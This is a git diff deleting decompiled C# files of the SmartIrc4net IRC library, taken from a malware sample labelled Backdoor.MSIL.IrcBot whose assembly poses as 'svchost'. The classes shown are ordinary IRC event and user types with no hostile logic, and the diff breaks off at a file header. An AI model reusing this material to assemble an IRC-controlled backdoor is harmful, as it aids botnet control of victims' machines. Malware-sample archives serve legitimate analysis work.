--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcUser.cs
+++ /dev/null
@@ -1,101 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.IrcUser
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System.Collections.Specialized;
-
-namespace Meebey.SmartIrc4net
-{
- public class IrcUser
- {
- private IrcClient _IrcClient;
- private string _Nick;
- private string _Ident;
- private string _Host;
- private string _Realname;
- private bool _IsIrcOp;
- private bool _IsRegistered;
- private bool _IsAway;
- private string _Server;
- private int _HopCount = -1;
-
- internal IrcUser(string nickname, IrcClient ircclient)
- {
- this._IrcClient = ircclient;
- this._Nick = nickname;
- }
-
- public string Nick
- {
- get => this._Nick;
- set => this._Nick = value;
- }
-
- public string Ident
- {
- get => this._Ident;
- set => this._Ident = value;
- }
-
- public string Host
- {
- get => this._Host;
- set => this._Host = value;
- }
-
- public string Realname
- {
- get => this._Realname;
- set => this._Realname = value;
- }
-
- public bool IsIrcOp
- {
- get => this._IsIrcOp;
- set => this._IsIrcOp = value;
- }
-
- public bool IsRegistered
- {
- get => this._IsRegistered;
- internal set => this._IsRegistered = value;
- }
-
- public bool IsAway
- {
- get => this._IsAway;
- set => this._IsAway = value;
- }
-
- public string Server
- {
- get => this._Server;
- set => this._Server = value;
- }
-
- public int HopCount
- {
- get => this._HopCount;
- set => this._HopCount = value;
- }
-
- public string[] JoinedChannels
- {
- get
- {
- string[] channels = this._IrcClient.GetChannels();
- StringCollection stringCollection = new StringCollection();
- foreach (string channelname in channels)
- {
- if (this._IrcClient.GetChannel(channelname).UnsafeUsers.ContainsKey((object) this._Nick))
- stringCollection.Add(channelname);
- }
- string[] array = new string[stringCollection.Count];
- stringCollection.CopyTo(array, 0);
- return array;
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventArgs.cs
deleted file mode 100644
index a521b351..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventArgs.cs
+++ /dev/null
@@ -1,25 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.JoinEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class JoinEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- internal JoinEventArgs(IrcMessageData data, string channel, string who)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventHandler.cs
deleted file mode 100644
index 20450de3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.JoinEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void JoinEventHandler(object sender, JoinEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventArgs.cs
deleted file mode 100644
index 05bc7fdb..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventArgs.cs
+++ /dev/null
@@ -1,38 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.KickEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class KickEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
- private string _Whom;
- private string _KickReason;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- public string Whom => this._Whom;
-
- public string KickReason => this._KickReason;
-
- internal KickEventArgs(
- IrcMessageData data,
- string channel,
- string who,
- string whom,
- string kickreason)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- this._Whom = whom;
- this._KickReason = kickreason;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventHandler.cs
deleted file mode 100644
index 4400282a..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.KickEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void KickEventHandler(object sender, KickEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventArgs.cs
deleted file mode 100644
index 27bba0b8..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventArgs.cs
+++ /dev/null
@@ -1,21 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ListEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class ListEventArgs : IrcEventArgs
- {
- private ChannelInfo f_ListInfo;
-
- public ChannelInfo ListInfo => this.f_ListInfo;
-
- internal ListEventArgs(IrcMessageData data, ChannelInfo listInfo)
- : base(data)
- {
- this.f_ListInfo = listInfo;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventHandler.cs
deleted file mode 100644
index c67000a1..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ListEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void ListEventHandler(object sender, ListEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventArgs.cs
deleted file mode 100644
index 6c063873..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventArgs.cs
+++ /dev/null
@@ -1,21 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.MotdEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class MotdEventArgs : IrcEventArgs
- {
- private string _MotdMessage;
-
- public string MotdMessage => this._MotdMessage;
-
- internal MotdEventArgs(IrcMessageData data, string motdmsg)
- : base(data)
- {
- this._MotdMessage = motdmsg;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventHandler.cs
deleted file mode 100644
index 6f5b7114..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.MotdEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void MotdEventHandler(object sender, MotdEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventArgs.cs
deleted file mode 100644
index f0bed08c..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventArgs.cs
+++ /dev/null
@@ -1,25 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.NamesEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class NamesEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string[] _UserList;
-
- public string Channel => this._Channel;
-
- public string[] UserList => this._UserList;
-
- internal NamesEventArgs(IrcMessageData data, string channel, string[] userlist)
- : base(data)
- {
- this._Channel = channel;
- this._UserList = userlist;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventHandler.cs
deleted file mode 100644
index d6cbcb31..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.NamesEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void NamesEventHandler(object sender, NamesEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventArgs.cs
deleted file mode 100644
index bc24e3d3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventArgs.cs
+++ /dev/null
@@ -1,25 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.NickChangeEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class NickChangeEventArgs : IrcEventArgs
- {
- private string _OldNickname;
- private string _NewNickname;
-
- public string OldNickname => this._OldNickname;
-
- public string NewNickname => this._NewNickname;
-
- internal NickChangeEventArgs(IrcMessageData data, string oldnick, string newnick)
- : base(data)
- {
- this._OldNickname = oldnick;
- this._NewNickname = newnick;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventHandler.cs
deleted file mode 100644
index e03cfec8..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.NickChangeEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void NickChangeEventHandler(object sender, NickChangeEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannel.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannel.cs
deleted file mode 100644
index cd5eb398..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannel.cs
+++ /dev/null
@@ -1,24 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.NonRfcChannel
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System.Collections;
-
-namespace Meebey.SmartIrc4net
-{
- public class NonRfcChannel : Channel
- {
- private Hashtable _Halfops = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
-
- internal NonRfcChannel(string name)
- : base(name)
- {
- }
-
- public Hashtable Halfops => (Hashtable) this._Halfops.Clone();
-
- internal Hashtable UnsafeHalfops => this._Halfops;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannelUser.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannelUser.cs
deleted file mode 100644
index 2681ed8d..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NonRfcChannelUser.cs
+++ /dev/null
@@ -1,26 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.NonRfcChannelUser
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class NonRfcChannelUser : ChannelUser
- {
- private bool _IsHalfop;
- private bool _IsOwner;
- private bool _IsAdmin;
-
- internal NonRfcChannelUser(string channel, IrcUser ircuser)
- : base(channel, ircuser)
- {
- }
-
- public bool IsHalfop
- {
- get => this._IsHalfop;
- set => this._IsHalfop = value;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NotConnectedException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NotConnectedException.cs
deleted file mode 100644
index d2278439..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NotConnectedException.cs
+++ /dev/null
@@ -1,34 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.NotConnectedException
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Runtime.Serialization;
-
-namespace Meebey.SmartIrc4net
-{
- [Serializable]
- public class NotConnectedException : ConnectionException
- {
- public NotConnectedException()
- {
- }
-
- public NotConnectedException(string message)
- : base(message)
- {
- }
-
- public NotConnectedException(string message, Exception e)
- : base(message, e)
- {
- }
-
- protected NotConnectedException(SerializationInfo info, StreamingContext context)
- : base(info, context)
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventArgs.cs
deleted file mode 100644
index a389b7a7..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventArgs.cs
+++ /dev/null
@@ -1,29 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.OpEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class OpEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
- private string _Whom;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- public string Whom => this._Whom;
-
- internal OpEventArgs(IrcMessageData data, string channel, string who, string whom)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- this._Whom = whom;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventHandler.cs
deleted file mode 100644
index 21847f68..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/OpEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.OpEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void OpEventHandler(object sender, OpEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventArgs.cs
deleted file mode 100644
index b6c8b7ae..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventArgs.cs
+++ /dev/null
@@ -1,29 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.PartEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class PartEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
- private string _PartMessage;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- public string PartMessage => this._PartMessage;
-
- internal PartEventArgs(IrcMessageData data, string channel, string who, string partmessage)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- this._PartMessage = partmessage;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/PartEventHandler.cs
deleted file mode 100644
index 9e0a8915..00000000
